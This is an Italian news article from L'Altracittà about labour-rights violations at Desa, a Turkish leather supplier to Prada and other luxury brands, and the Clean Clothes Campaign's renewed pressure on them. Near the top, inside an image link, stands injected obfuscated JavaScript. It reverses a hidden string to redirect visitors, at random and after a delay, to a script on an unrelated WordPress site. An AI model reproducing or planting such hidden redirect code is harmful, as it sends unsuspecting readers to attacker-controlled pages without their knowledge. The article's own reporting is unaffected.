Prada di nuovo nel mirino degli attivisti per i diritti umani. Il caso turco della Desa

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$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://www.altracitta.org/wp-content/uploads/2009/03/ildiavolovesteprada.jpg”>ildiavolovestepradadi Sara Capolungo per l’Altracittà

Ci risiamo. Ancora una volta costretti a parlare di Prada, ma non certo perché folgorati dalla bellezza dei suoi prodotti. Piuttosto perché un fornitore turco della griffe aretina, la fabbrica Desa, non ha rispettato il protocollo d’intesa firmato più di sei mesi fa con il sindacato Deri Is, siglato per tutelare le lavoratrici sfruttate e le sindacaliste perseguitate. Già, sempre la stessa storia. Prada fa produrre le sue borse da mille euro dalle lavoratrici della Desa, per pochi dollari al mese, 40 ore consecutive di lavoro e senza servizi igienici. E quando le lavoratrici, stanche delle condizioni di lavoro disumane, si iscrivono al sindacato Deri Is, piovono licenziamenti in tronco o vengono costrette a lasciare il sindacato.

Mal comune, mezzo gaudio, avranno pensato quelli di Prada, dato che la turca Desa produce articoli di pelletteria anche per altri marchi del lusso come Mulberry, Louis Vuitton, Aspinals of London, Samsonite, Nicole Farhi e Luella. L’Altracittà ha già seguito questo caso nel marzo del 2009, quando due coraggiose lavoratrici e sindacaliste della Deri Is, Emine Arslan e Nuran Gulenc, vennero a Firenze, tappa di una mobilitazione europea contro lo sfruttamento, aiutate e supportate dalla Campagna Abiti Puliti, sezione italiana della Clean Clothes Campaign (CCC) che da 15 anni opera in 12 Paesi coordinando oltre 250 organizzazioni per il miglioramento delle condizioni e il rafforzamento dei diritti dei lavoratori nell’industria tessile globale.

Da allora incontri anche con la Commissione Etica Regionale della Regione Toscana, con la Rsu di Prada ad Arezzo. Molte promesse e dichiarazioni di collaborazione da parte di Prada: “Qualora emergessero prove di violazioni di normative giuslavoristiche, comprovate dalle autorità turche, saremo pronti a prendere le misure necessarie”, assicurava all’epoca. Peccato che il tribunale turco avesse riconosciuto, già a fine 2008, che i licenziamenti fossero dovuti all’attività sindacale delle lavoratrici.

Dopo mesi di lotte, sei mesi fa, si arriva alla firma di un protocollo d’intesa che prevede, tra l’altro, la riassunzione delle lavoratrici, il riconoscimento dei diritti sindacali e del ruolo del sindacato stesso. La pace sindacale dura però molto poco e i diritti dei lavoratori sono ben presto disconosciuti: una delegazione della CCC in visita in Turchia nel dicembre 2009 rileva la violazione del protocollo.

Nell’aprile 2010 la CCC contatta nuovamente tutti i marchi internazionali per informarli delle continue violazioni del protocollo ma solo alcuni rispondono affermando che non erano state riscontrate angherie e che erano certi dell’assenza di pratiche inique in fabbrica. Nessuno dei marchi ha parlato o contattato il sindacato o i suoi membri. Nessuno di loro ha risposto alle richieste di azioni dettagliate e concrete che sono state sottoposte dalla CCC e dalla campagna Abiti Puliti.

A seguito al fallimento dell’accordo la Clean Clothes Campaign chiede quindi di nuovo giustizia per i lavoratori della fabbrica di pelletteria Desa. Riaparte così la campagna internazionale di pressione su Prada e le altre marche. Abiti Puliti invita a “contattare la direzione della Desa e i marchi internazionali committenti per esprimere il disappunto per l’incapacità di tutelare i diritti dei lavoratori e per esortarli a garantire che il protocollo sia applicato correttamente e ad adottare misure concrete per sostenere in modo proattivo la libertà di associazione sindacale in fabbrica”.

Noi dell’Altracittà rilanciamo volentieri. Anche perché, dopo la vicenda Fiat-Pomigliano, appare finalmente chiaro a tutti come la negazione dei diritti dei lavoratori nel Sud del mondo sia strettamente connessa all’erosione dei diritti dei lavoratori del Nord iper-sviluppato.

Scrivete qui alla Desa e agli altri marchi committenti.

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